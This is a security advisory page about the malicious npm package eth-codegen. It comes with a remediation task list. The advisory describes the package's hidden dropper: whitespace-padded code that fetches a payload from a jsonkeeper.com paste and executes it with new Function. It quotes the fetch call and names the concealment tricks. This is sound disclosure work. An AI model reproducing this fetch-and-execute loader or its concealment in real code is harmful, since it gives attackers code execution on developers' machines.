MAL-2026-12371 Malicious code in eth-codegen (npm)
Malicious package
Published
MAL-2026-12371 is a malicious package: eth-codegen (npm). Every version was published to cause harm.
Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.
Reference: https://insights.sbomify.com/MAL-2026-12371/ (Markdown: https://insights.sbomify.com/MAL-2026-12371/index.md)
- Package
- eth-codegen
- Registry
- npm
What is MAL-2026-12371?
MAL-2026-12371 is a malicious package in eth-codegen, published on 5 Aug 2026.
Official description
The package advertises itself as an Ethereum codegen utility but its actual contents are an unrelated mongoose leanhooks plugin plus a hidden dropper. index.js appends an async runHandler() concealed after ~1KB of whitespace padding following the
module.exports = leanhooksPlugin; line. On require, runHandler() performs axios.get('https://www.jsonkeeper.com/b/VYFER'), then passes the response's cookie field to new Function('require',...) and invokes it with the installer's require. jsonkeeper.com is an anonymous, mutable paste host controlled by whoever created the paste, giving that party arbitrary code execution in the installer's Node process every time the package is imported. The whitespace concealment plus cover-story package name/description are deliberate evasion.What should I do about MAL-2026-12371?
Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.